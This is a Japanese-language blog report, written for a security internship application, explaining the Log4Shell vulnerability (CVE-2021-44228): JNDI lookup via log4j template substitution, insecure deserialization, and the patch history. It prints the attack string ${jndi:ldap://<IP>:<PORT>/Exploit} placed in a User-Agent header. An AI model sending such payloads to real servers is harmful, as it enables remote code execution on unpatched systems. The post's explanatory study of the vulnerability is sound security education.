📐

log4shell 調査レポート in Flatt Security 応募課題

2023/09/06に公開

はじめに

この記事は、Flatt Security サマーインターン in 2023 に参加した際に、log4j の任意コード実行脆弱性(CVE-2021-44228)について調査した際のレポートです。
このレポートをサマーインターンの応募課題として提出しました。
もともとは参加体験記の記事に含める予定でしたが、長くなりすぎたため、別記事として投稿することにしました。
読みやすいように、独自でセクションを分けています。

間違い等あれば、コメントで教えていただけると幸いです。

概要

私が興味のある脆弱性は、log4shell です。
CVE 番号は CVE-2021-44228 です。
以下に、JVN のリンクを示します。
https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-005429.html
この脆弱性は、Apache log4j と呼ばれる Java 向けのロギングプログラムに存在した脆弱性です。このプログラムが動作しているサーバに特殊なリクエストを送信すると任意コード実行につながってしまう危険な脆弱性でした。

脆弱性の種類

任意コード実行につなげる筋道としては、以下の二種類の脆弱性によって起こりうるものと認識すると分かりやすいです。

  • サーバサイドテンプレートインジェクションに相当する脆弱性
  • 安全でないデシリアライズに相当する脆弱性
    このうち、前者の脆弱性は任意オブジェクトを読み込ませるために、後者の脆弱性は任意オブジェクトを読み込まれたときに任意コード実行を行うために利用されます。

https://en.wikipedia.org/wiki/Log4Shell

攻撃手法の詳細や対策

では、脆弱性の詳細についての解説を行っていきます。

テンプレートインジェクションに相当する脆弱性

まず、jdni について解説します。
これは、Java Naming and Directory Interface の略で、Java から様々なネームサービスまたはディレクトリサービスに接続するための機能です。
これを利用することで、Java から DNS や LDAP などのサービスに同じような API で接続することができます。
そして、jdni には、外部のサービスに接続するための URL を指定し、そこに対して問い合わせを行って外部データを取得できるといった、jdni lookup 機能というものが存在します。
そして、この lookup 機能を、テンプレートインジェクションで呼び出すことが出来てしまうのが前者の脆弱性の特徴です。
log4j のログには、ある特定のテンプレートに沿った文字列を自動的に置き換える、いわば Web フレームワークにおけるテンプレートエンジンのような機能が搭載されていました。
しかし、これが外部から与えられた安全でない文字列に対してもテンプレートによる置換を行ってしまいます。
これが原因で、jdni lookup を発動させ、任意オブジェクトをサーバに読み込ませる事が可能になっていたのです。
具体的には、以下のような形式でテンプレート置換を発生させることができます。

${プレフィックス:名前}

ここに jdni プレフィックスを指定することが可能です。
jndi では、以下のような表現が存在します。

${jndi:<URL>}

この表現で、任意の URL の先に存在するオブジェクトを読み込むことができます。
この URL で対応しているプロトコルスキームのうち、LDAP と RMI は、Java の任意オブジェクトを読み込むことができるため、任意コード実行につながってしまいます。
では、攻撃者は具体的にどのようにして攻撃するのでしょうか。
ここでは、LDAP プロトコルで例を示します。
攻撃者は、以下のような文字列を User-Agent に設定して、サーバにリクエストを送信します。

${jndi:ldap://<IP>:<PORT>/Exploit}

ここで、悪意のある LDAP 配信をするサーバを攻撃者が何らかの方法で用意し、そのサーバに対するリクエストを発生させれば、jdni lookup が発動して任意オブジェクトを読み込ませることができます。
https://techblog.securesky-tech.com/entry/2022/04/21/what-happened-log4shell

デシリアライズに相当する脆弱性

後者の脆弱性は、log4j に特有のものではなく、Java 全体で通用する脆弱性です。
手法が複雑であるため、ここでは簡単な解説にとどめます。
Java では、オブジェクトのシリアライズとデシリアライズを行うことができます。
シリアライズとは、オブジェクトをバイト列に変換することで、デシリアライズとはその逆の操作です。
しかし、デシリアライズを行う際には、そのオブジェクトが安全であるかどうかを検証する必要があります。
その検証を行わない場合、攻撃者は任意のオブジェクトを読み込ませて、任意コード実行を行うことができてしまいます。
今回の log4shell の攻撃の場合は、そもそも jndi lookup が予期しない呼び出しであったため、検証は全く行われません。
不正オブジェクトから任意コード実行を行う手法としては、マジックメソッドを利用するというものがあります。
これは、オブジェクトのデシリアライズ時に、特定のメソッドが呼び出されることを利用し、そのメソッドをあらかじめ用意した不正オブジェクトをロードさせることで、任意コード実行を行うものです。
ただし、実際にはそのような都合の良いマジックメソッドは存在しない場合が殆どです。
そのため、ガジェットチェーンのような複雑な手法を用いて、任意コード実行を行う必要があります。
https://yamory.io/blog/about-insecure-deserialization/
このような不正オブジェクトを生成するツールとしては、ysoserial というものが存在します。
https://github.com/frohoff/ysoserial

対策

この脆弱性に対して、以下のような対策が施されました。

  • 2.15.0: デフォルトでプロトコルを java、ldap、および ldaps のみに制限し、ldap プロトコルについてはローカルホスト上で動作するオブジェクトのみに制限 また、ログ機能に含まれるルックアップのデフォルト無効化

https://logging.apache.org/log4j/2.x/release-notes/2.15.0.html

  • 2.16.0: jdni を利用するメッセージルックアップの機能の削除、デフォルトでの jdni の無効化

https://logging.apache.org/log4j/2.x/release-notes/2.16.0.html

  • 2.17.0: サポートプロトコルとして LDAP および LDAPS を jdni から削除 jdni を Java プロトコルのみに制限

https://logging.apache.org/log4j/2.x/release-notes/2.17.0.html

脆弱性の深刻さ

log4shell 脆弱性は、発見当初から大きな話題となりました。
Apache Software Foundation は、この脆弱性に対して、CVSS 評価を 10.0 とする最大評価を与えました。
CVSS とは Common Vulnerability Scoring System の略で、脆弱性の深刻度を評価するための手法です。
このことからも、log4shell がどれほど深刻な脆弱性であったかがわかります。
この脆弱性が発表された後、Java のプログラムを利用している多くの企業が、この脆弱性に対して対策を行いました。
しかし、Java のマルチプラットフォーム性が裏目に出て、対策が困難であったり不可能であったりする機器も多く存在しています。
また、この脆弱性は、悪意のあるハッカーによっても大いに悪用されています。
log4shell を用いた攻撃を、ランサムウェアアクターの一種である Conti グループが行っていることが確認されています。
この事例では、当グループは log4shell 脆弱性を積極的に利用し、VMWare vCenter ネットワークを標的にしていることがわかっています。
この点から、重大な攻撃に使われるような脆弱性であったことがわかります。

まとめ

この脆弱性を調べて、クリティカルな脆弱性は、複数のミスがチェーンのように連携されて、RCE につながっていることが多いことを改めて感じました。
また、脆弱性を一度腰を据えて詳細を調べてみる事で、その脆弱性の深刻さを理解することができました。
また、任意コード実行の可能な脆弱性のかなりの割合を、安全でないデシリアライズ脆弱性が占めているのではないか?と気が付きました。
今後はこの分野の脆弱性についての知見をしっかり深めていきたいと思うようになりました。

GitHubで編集を提案

Discussion